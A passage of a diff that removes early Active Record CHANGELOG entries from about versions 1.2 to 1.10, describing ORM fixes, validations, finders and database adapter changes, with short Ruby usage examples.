- validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
-
-* Fixed use of construct_finder_sql when using :join #1288 *dwlt@dwlt.net*
-
-* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 *Rick Olson*
-
-* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 *Jeremy Kemper*
-
-* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
-
-* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
-
-* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
-
- # SELECT * FROM topics WHERE title IN ('First', 'Second')
- Topic.find_all_by_title(["First", "Second"])
-
-* Added compatibility with camelCase column names for dynamic finders #533 *Dee Zsombor*
-
-* Fixed extraneous comma in count() function that made it not work with joins #1156 *Jarkko Laine/Dee Zsombor*
-
-* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 *Alisdair McDiarmid*
-
-* Fixed that validate_length_of lost :on option when :within was specified #1195 *jhosteny@mac.com*
-
-* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
-
- development:
- adapter: postgresql
- database: rails_development
- host: localhost
- username: postgres
- password:
- encoding: UTF8
- min_messages: ERROR
-
-* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 *Jamis Buck*
-
-* Added validates_exclusion_of as a negative of validates_inclusion_of
-
-* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
-
-
-## 1.10.1 (20th April, 2005) ##
-
-* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
-
-* Fixed order of loading in eager associations
-
-* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
-
-
-## 1.10.0 (19th April, 2005) ##
-
-* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
-
- for post in Post.find(:all, :limit => 100)
- puts "Post: " + post.title
- puts "Written by: " + post.author.name
- puts "Last comment on: " + post.comments.first.created_on
- end
-
- This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
-
- for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
-
- ...and the number of database queries needed is now 1.
-
-* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
-
- Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
- Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
- Person.find(:first, :order => "created_on DESC", :offset => 5)
- Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
- Person.find(:all, :offset => 10, :limit => 10)
-
-* Added acts_as_nested_set #1000 [wschenk]. Introduction:
-
- This acts provides Nested Set functionality. Nested Set is similiar to Tree, but with
- the added feature that you can select the children and all of it's descendants with
- a single query. A good use case for this is a threaded post system, where you want
- to display every reply to a comment without multiple selects.
-
-* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid *Dave Thomas*
-
-* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 *gnuman1@gmail.com*
-
-* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 *andrew.john.peters@gmail.com*
-
-* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 *stephenh@chase3000.com*
-
-* Fixed page caching for non-vhost applications living underneath the root #1004 *Ben Schumacher*
-
-* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 *adelle*
-
-* Added the option to specify the acceptance string in validates_acceptance_of #1106 *caleb@aei-tech.com*
-
-* Added insert_at(position) to acts_as_list #1083 *DeLynnB*
-
-* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
-
-* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 *yon@milliped.com*
-
-* Fixed boolean saving on Oracle #1093 *mparrish@pearware.org*
-
-* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
-
-* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 *Leon Bredt*
-
-* Added quoting of column names for fixtures #997 *jcfischer@gmail.com*
-
-* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 *Caleb Tennis*
-
-* Fixed that benchmarking times for rendering included db runtimes #987 *Stefan Kaes*
-
-* Fixed boolean queries for t/f fields in PostgreSQL #995 *dave@cherryville.org*
-
-* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 *Jeremy Kemper*
-
-* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 *dave@cherryville.org*
-
-* Fixed Base.silence/benchmark to only log if a logger has been configured #986 *Stefan Kaes*
-
-* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 *Stefan Kaes*
-
-* Fixed bug in Base#hash method that would treat records with the same string-based id as different *Dave Thomas*
-
-* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
-
-
-## 1.9.1 (27th March, 2005) ##
-
-* Fixed that Active Record objects with float attribute could not be cloned #808
-
-* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 *Nicholas Seckar*
-
-* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
-
-* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 *Scott Barron*
-
-* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 *delynnb*
-
-
-## 1.9.0 (22th March, 2005) ##
-
-* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
-
- Developer.find_all nil, 'id ASC', 5 # return the first five developers
- Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
-
- This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged.
-
-* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 *Nicholas Seckar/Sam Stephenson*
-
-* Improved the performance of the OCI8 adapter for Oracle #723 *pilx/gjenkins*
-
-* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 *dave@cherryville.org*
-
-* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 *mindel*
-
-* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 *Alisdair McDiarmid*
-
-* Added the possibility of specifying fixtures in multiple calls #816 *kim@tinker.com*
-
-* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 *stian@grytoyr.net*
-
-* Added optionally allow for nil or empty strings with validates_numericality_of #801 *Sebastian Kanthak*
-
-* Fixed problem with using slashes in validates_format_of regular expressions #801 *Sebastian Kanthak*
-
-* Fixed that SQLite3 exceptions are caught and reported properly #823 *yerejm*
-
-* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
-
-* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
-
-
-## 1.8.0 (7th March, 2005) ##
-
-* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
-
-* Added support for timestamp with time zone in PostgreSQL #560 *Scott Barron*
-
-* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
-
- * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the
- +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+
- objects that should be inspected to determine which attributes triggered the errors.
- * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
- You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
-
-* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 *rodrigo k*
-
-* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 *Jeremy Kemper*
-
-* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
-
- class Account < ActiveRecord::Base
- has_one :credit_card, :dependent => true
- end
- class CreditCard < ActiveRecord::Base
- belongs_to :account
- end
-
- account.credit_card # => returns existing credit card, lets say id = 12
- account.credit_card = CreditCard.create("number" => "123")
- account.save # => CC with id = 12 is destroyed
-
-
-* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
-
- Validates whether the value of the specified attribute is numeric by trying to convert it to
- a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
- <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
-
- class Person < ActiveRecord::Base
- validates_numericality_of :value, :on => :create
- end
-
- Configuration options:
- * <tt>message</tt> - A custom error message (default is: "is not a number")
- * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
- * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
-
-
-* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 *Scott Barron*
-
-* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
-
-* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 *james@slashetc.com*
-
-
-## 1.7.0 (24th February, 2005) ##
-
-* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 *Jamis Buck*
-
-* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
-
- 1. Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
- and safe way of passing table-specific sequence information to the adapter.)
- 2. Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
- resort to some hacks to get data converted to Date or Time in Ruby.
- If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
- hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
- This is nasty - but if you use Duck Typing you'll probably not care very much.
- In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
- valid - too many databases use DATE for both.
- Timezones and sub-second precision on timestamps are not supported.
- 3. Default values that are functions (such as "SYSDATE") are not supported. This is a
- restriction of the way active record supports default values.
- 4. Referential integrity constraints are not fully supported. Under at least
- some circumstances, active record appears to delete parent and child records out of
- sequence and out of transaction scope. (Or this may just be a problem of test setup.)
-
- The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
-
-* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 *YuriSchimke*
-
-* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 *yerejm*
-
-* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 *tonka*
-
-* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 *Nicholas Seckar*
-
-* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 *daniel@nightrunner.com*
-
-* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 *adelle@bullet.net.au*
-
-* Fixed that find_by_* would fail when column names had numbers #670 *demetrius*
-
-* Fixed the SQL Server adapter on a bunch of issues #667 *DeLynn*
-
- 1. Created a new columns method that is much cleaner.
- 2. Corrected a problem with the select and select_all methods
- that didn't account for the LIMIT clause being passed into raw SQL statements.
- 3. Implemented the string_to_time method in order to create proper instances of the time class.
- 4. Added logic to the simplified_type method that allows the database to specify the scale of float data.
- 5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
-
-* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 *lmarlow*
-
-* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
-
- class Person < ActiveRecord::Base
- validates_each :first_name, :last_name do |record, attr|
- record.errors.add attr, 'starts with z.' if attr[0] == ?z
- end
- end
-
-* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 *Jeremy Kemper*
-
-* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
-
- class Person < ActiveRecord::Base
- validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
- end
-
-* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 *Tim Bates*
-
-* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
-
- class Project < ActiveRecord::Base
- primary_key "sysid"
- table_name "XYZ_PROJECT"
- inheritance_column { original_inheritance_column + "_id" }
- end
-
-* Fixed Base#clone for use with PostgreSQL #565 *hanson@surgery.wisc.edu*
-
-
-## 1.6.0 (January 25th, 2005) ##
-
-* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
-
-* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
-
-* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
-
-* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
-
- people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
- Person.update(people.keys, people.values)
-
-* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 *Scott Baron*
-
-* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 *notahat*
-
-* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 *Demetrius*
-
-* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 *Jeremy Kemper*
-
-* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 *Eric Anderson*
-
-* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 *Eric Anderson*
-
-* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
-
-* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
-
-* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 *Demetrius*
-
-* Fixed that find_all would produce invalid sql when called sequentialy #490 *Scott Baron*
-
-
-## 1.5.1 (January 18th, 2005) ##
-
-* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 *Tim Bates*
-
-* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 *Pelle*
-
-
-## 1.5.0 (January 17th, 2005) ##
-
-* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 *Eric Hodel*
-
-* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
-
- class Book < ActiveRecord::Base
- has_many :pages
- belongs_to :library
-
- validates_associated :pages, :library
- end
-
-* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
-
- == Unsaved objects and associations
-
- You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
- aware of, mostly involving the saving of associated objects.
-
- === One-to-one associations
-
- * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
- order to update their primary keys - except if the parent object is unsaved (new_record? == true).
- * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
- is cancelled.
- * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
- * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
- not save the parent either.
-
- === Collections
-
- * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
- (the owner of the collection) is not yet stored in the database.
- * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
- * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
- * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
-
-* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 *Tim Bates*
-
-* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 *Tim Bates*
-
-* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 *Tim Bates*
-
-* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 *Tim Bates*
-
-* Fixed binary support for PostgreSQL #444 *alex@byzantine.no*
-
-* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the
- collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If
- it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards,
- it'll take one less SELECT query if you use length.
-
-* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 *atyp.de*
-
-* Fixed that foreign keys named the same as the association would cause stack overflow #437 *Eric Anderson*
-
-* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 *Alexey*
-
-* Added Base#reload that reloads the attributes of an object from the database #422 *Andreas Schwarz*
-
-* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 *Jeremy Kemper*
-
-* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 *Matt Mower*
-
-* Added that Observers can use the observes class method instead of overwriting self.observed_class().
-
- Before:
- class ListSweeper < ActiveRecord::Base
- def self.observed_class() [ List, Item ]
- end
-
- After:
- class ListSweeper < ActiveRecord::Base
- observes List, Item
- end
-
-* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
-
-* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
-
-* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
-
- Before: topic.update_attribute(:approved, !approved?)
- After : topic.toggle!(:approved)
-
-* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
-
- page.views # => 1
- page.increment!(:views) # executes an UPDATE statement
- page.views # => 2
-
- page.increment(:views).increment!(:views)
- page.views # => 4
-
-* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
-
-
-## 1.4.0 (January 4th, 2005) ##
-
-* Added automated optimistic locking if the field <tt>lock_version</tt> is present. Each update to the
- record increments the lock_version column and the locking facilities ensure that records instantiated twice
- will let the last one saved raise a StaleObjectError if the first was also updated. Example:
-
- p1 = Person.find(1)
- p2 = Person.find(1)
-
- p1.first_name = "Michael"
- p1.save
-
- p2.first_name = "should fail"
- p2.save # Raises a ActiveRecord::StaleObjectError
-
- You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
- or otherwise apply the business logic needed to resolve the conflict.
-
- \#384 *Michael Koziarski*
-
-* Added dynamic attribute-based finders as a cleaner way of getting objects by simple queries without turning to SQL.
- They work by appending the name of an attribute to <tt>find_by_</tt>, so you get finders like <tt>Person.find_by_user_name,
- Payment.find_by_transaction_id</tt>. So instead of writing <tt>Person.find_first(["user_name = ?", user_name])</tt>, you just do
- <tt>Person.find_by_user_name(user_name)</tt>.
-
- It's also possible to use multiple attributes in the same find by separating them with "_and_", so you get finders like
- <tt>Person.find_by_user_name_and_password</tt> or even <tt>Payment.find_by_purchaser_and_state_and_country</tt>. So instead of writing
- <tt>Person.find_first(["user_name = ? AND password = ?", user_name, password])</tt>, you just do
- <tt>Person.find_by_user_name_and_password(user_name, password)</tt>.
-
- While primarily a construct for easier find_firsts, it can also be used as a construct for find_all by using calls like
- <tt>Payment.find_all_by_amount(50)</tt> that is turned into <tt>Payment.find_all(["amount = ?", 50])</tt>. This is something not as equally useful,
- though, as it's not possible to specify the order in which the objects are returned.
-
-* Added block-style for callbacks #332 [Jeremy Kemper].
-
- Before:
- before_destroy(Proc.new{ |record| Person.destroy_all "firm_id = #{record.id}" })
-
- After:
- before_destroy { |record| Person.destroy_all "firm_id = #{record.id}" }
-
-* Added :counter_cache option to acts_as_tree that works just like the one you can define on belongs_to #371 *Josh Peek*
-
-* Added Base.default_timezone accessor that determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling dates
- and times from the database. This is set to :local by default.
-
-* Added the possibility for adapters to overwrite add_limit! to implement a different limiting scheme than "LIMIT X" used by MySQL, PostgreSQL, and SQLite.
-
-* Added the possibility of having objects with acts_as_list created before their scope is available or...
-
-* Added a db2 adapter that only depends on the Ruby/DB2 bindings (http://raa.ruby-lang.org/project/ruby-db2/) #386 *Maik Schmidt*
-
-* Added the final touches to the Microsoft SQL Server adapter by Joey Gibson that makes it suitable for actual use #394 *DeLynn Barry*
-
-* Added that Base#find takes an optional options hash, including :conditions. Base#find_on_conditions deprecated in favor of #find with :conditions #407 *Jeremy Kemper*
-
-* Added HasManyAssociation#count that works like Base#count #413 *intinig*
-
-* Fixed handling of binary content in blobs and similar fields for Ruby/MySQL and SQLite #409 *xal*
-
-* Fixed a bug in the Ruby/MySQL that caused binary content to be escaped badly and come back mangled #405 *Tobias Lütke*
-
-* Fixed that the const_missing autoload assumes the requested constant is set by require_association and calls const_get to retrieve it.
- If require_association did not set the constant then const_get will call const_missing, resulting in an infinite loop #380 *Jeremy Kemper*
-
-* Fixed broken transactions that were actually only running object-level and not db level transactions *andreas*
-
-* Fixed that validates_uniqueness_of used 'id' instead of defined primary key #406
-
-* Fixed that the overwritten respond_to? method didn't take two parameters like the original #391
-
-* Fixed quoting in validates_format_of that would allow some rules to pass regardless of input #390 *Dmitry V. Sabanin*
-
-
-## 1.3.0 (December 23, 2004) ##
-
-* Added a require_association hook on const_missing that makes it possible to use any model class without requiring it first. This makes STI look like:
-
- before:
- require_association 'person'
- class Employee < Person
- end
-
- after:
- class Employee < Person
- end
-
- This also reduces the usefulness of Controller.model in Action Pack to currently only being for documentation purposes.
-
-* Added that Base.update_all and Base.delete_all return an integer of the number of affected rows #341
-
-* Added scope option to validation_uniqueness #349 *Kent Sibilev*
-
-* Added respondence to *_before_type_cast for all attributes to return their string-state before they were type casted by the column type.
- This is helpful for getting "100,000" back on a integer-based validation where the value would normally be "100".
-
-* Added allow_nil options to validates_inclusion_of so that validation is only triggered if the attribute is not nil *what-a-day*
-
-* Added work-around for PostgreSQL and the problem of getting fixtures to be created from id 1 on each test case.
- This only works for auto-incrementing primary keys called "id" for now #359 *Scott Baron*
-
-* Added Base#clear_association_cache to empty all the cached associations #347 *Tobias Lütke*
-
-* Added more informative exceptions in establish_connection #356 *Jeremy Kemper*
-
-* Added Base#update_attributes that'll accept a hash of attributes and save the record (returning true if it passed validation, false otherwise).
-
- Before:
- person.attributes = @params["person"]
- person.save
-
- Now:
- person.update_attributes(@params["person"])
-
-* Added Base.destroy and Base.delete to remove records without holding a reference to them first.
-
-* Added that query benchmarking will only happen if its going to be logged anyway #344
-
-* Added higher_item and lower_item as public methods for acts_as_list #342 *Tobias Lütke*
-
-* Fixed that options[:counter_sql] was overwritten with interpolated sql rather than original sql #355 *Jeremy Kemper*
-
-* Fixed that overriding an attribute's accessor would be disregarded by add_on_empty and add_on_boundary_breaking because they simply used
- the attributes[] hash instead of checking for @base.respond_to?(attr.to_s). *Marten*
-
-* Fixed that Base.table_name would expect a parameter when used in has_and_belongs_to_many joins *Anna Lissa Cruz*
-
-* Fixed that nested transactions now work by letting the outer most transaction have the responsibilty of starting and rolling back the transaction.
- If any of the inner transactions swallow the exception raised, though, the transaction will not be rolled back. So always let the transaction
- bubble up even when you've dealt with local issues. Closes #231 and #340.
-
-* Fixed validates_{confirmation,acceptance}_of to only happen when the virtual attributes are not nil #348 *dpiddy@gmail.com*
-
-* Changed the interface on AbstractAdapter to require that adapters return the number of affected rows on delete and update operations.
-
-* Fixed the automated timestamping feature when running under Rails' development environment that resets the inheritable attributes on each request.
-
-
-
-## 1.2.0 ##
-
-* Added Base.validates_inclusion_of that validates whether the value of the specified attribute is available in a particular enumerable
- object. *what-a-day*
-
- class Person < ActiveRecord::Base
- validates_inclusion_of :gender, :in=>%w( m f ), :message=>"woah! what are you then!??!!"
- validates_inclusion_of :age, :in=>0..99
- end
-
-* Added acts_as_list that can decorates an existing class with methods like move_higher/lower, move_to_top/bottom. [Tobias Lütke] Example:
-
- class TodoItem < ActiveRecord::Base
- acts_as_list :scope => :todo_list_id
- belongs_to :todo_list
- end
-
-* Added acts_as_tree that can decorates an existing class with a many to many relationship with itself. Perfect for categories in
- categories and the likes. *Tobias Lütke*
-
-* Added that Active Records will automatically record creation and/or update timestamps of database objects if fields of the names
- created_at/created_on or updated_at/updated_on are present. *Tobias Lütke*
-
-* Added Base.default_error_messages as a hash of all the error messages used in the validates_*_of so they can be changed in one place *Tobias Lütke*
-
-* Added automatic transaction block around AssociationCollection.<<, AssociationCollection.delete, and AssociationCollection.destroy_all
-
-* Fixed that Base#find will return an array if given an array -- regardless of the number of elements #270 *Marten*
-
-* Fixed that has_and_belongs_to_many would generate bad sql when naming conventions differed from using vanilla "id" everywhere *RedTerror*
-
-* Added a better exception for when a type column is used in a table without the intention of triggering single-table inheritance. Example:
-
- ActiveRecord::SubclassNotFound: The single-table inheritance mechanism failed to locate the subclass: 'bad_class!'.
- This error is raised because the column 'type' is reserved for storing the class in case of inheritance.
- Please rename this column if you didn't intend it to be used for storing the inheritance class or
- overwrite Company.inheritance_column to use another column for that information.
-
-* Added that single-table inheritance will only kick in if the inheritance_column (by default "type") is present. Otherwise, inheritance won't
- have any magic side effects.
-
-* Added the possibility of marking fields as being in error without adding a message (using nil) to it that'll get displayed wth full_messages #208 *mjobin*
-
-* Fixed Base.errors to be indifferent as to whether strings or symbols are used. Examples:
-
- Before:
- errors.add(:name, "must be shorter") if name.size > 10
- errors.on(:name) # => "must be shorter"
- errors.on("name") # => nil
-
- After:
- errors.add(:name, "must be shorter") if name.size > 10
- errors.on(:name) # => "must be shorter"
- errors.on("name") # => "must be shorter"
-
-* Added Base.validates_format_of that Validates whether the value of the specified attribute is of the correct form by matching
- it against the regular expression provided. *Marcel Molina Jr.*
-
- class Person < ActiveRecord::Base
- validates_format_of :email, :with => /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/, :on => :create
- end
-
-* Added Base.validates_length_of that delegates to add_on_boundary_breaking #312 [Tobias Lütke]. Example:
-
- Validates that the specified attribute matches the length restrictions supplied in either:
-
- - configuration[:minimum]
- - configuration[:maximum]
- - configuration[:is]
- - configuration[:within] (aka. configuration[:in])
-
- Only one option can be used at a time.
-
- class Person < ActiveRecord::Base
- validates_length_of :first_name, :maximum=>30
- validates_length_of :last_name, :maximum=>30, :message=>"less than %d if you don't mind"
- validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
- validates_length_of :fav_bra_size, :minimum=>1, :too_short=>"please enter at least %d character"
- validates_length_of :smurf_leader, :is=>4, :message=>"papa is spelled with %d characters... don't play me."
- end
-
-* Added Base.validate_presence as an alternative to implementing validate and doing errors.add_on_empty yourself.
-
-* Added Base.validates_uniqueness_of that alidates whether the value of the specified attributes are unique across the system.
- Useful for making sure that only one user can be named "davidhh".
-
- class Person < ActiveRecord::Base
- validates_uniqueness_of :user_name
- end
-
- When the record is created, a check is performed to make sure that no record exist in the database with the given value for the specified
- attribute (that maps to a column). When the record is updated, the same check is made but disregarding the record itself.
-
-
-* Added Base.validates_confirmation_of that encapsulates the pattern of wanting to validate a password or email address field with a confirmation. Example:
-
- Model:
- class Person < ActiveRecord::Base
- validates_confirmation_of :password
- end
-
- View:
- <%= password_field "person", "password" %>
- <%= password_field "person", "password_confirmation" %>
-
- The person has to already have a password attribute (a column in the people table), but the password_confirmation is virtual.
- It exists only as an in-memory variable for validating the password. This check is performed both on create and update.
-
-
-* Added Base.validates_acceptance_of that encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). Example:
-
- class Person < ActiveRecord::Base
- validates_acceptance_of :terms_of_service
- end
-
- The terms_of_service attribute is entirely virtual. No database column is needed. This check is performed both on create and update.
-
- NOTE: The agreement is considered valid if it's set to the string "1". This makes it easy to relate it to an HTML checkbox.
-
-
-* Added validation macros to make the stackable just like the life cycle callbacks. Examples:
-
- class Person < ActiveRecord::Base
- validate { |record| record.errors.add("name", "too short") unless name.size > 10 }
- validate { |record| record.errors.add("name", "too long") unless name.size < 20 }
- validate_on_create :validate_password
-
- private
- def validate_password
- errors.add("password", "too short") unless password.size > 6
- end
- end
-
-* Added the option for sanitizing find_by_sql and the offset parts in regular finds [Sam Stephenson]. Examples:
-
- Project.find_all ["category = ?", category_name], "created ASC", ["? OFFSET ?", 15, 20]
- Post.find_by_sql ["SELECT * FROM posts WHERE author = ? AND created > ?", author_id, start_date]
-
-* Fixed value quoting in all generated SQL statements, so that integers are not surrounded in quotes and that all sanitation are happening
- through the database's own quoting routine. This should hopefully make it lots easier for new adapters that doesn't accept '1' for integer
- columns.
-
-* Fixed has_and_belongs_to_many guessing of foreign key so that keys are generated correctly for models like SomeVerySpecialClient
- *Florian Weber*
-
-* Added counter_sql option for has_many associations [Jeremy Kemper]. Documentation:
-
- <tt>:counter_sql</tt> - specify a complete SQL statement to fetch the size of the association. If +:finder_sql+ is
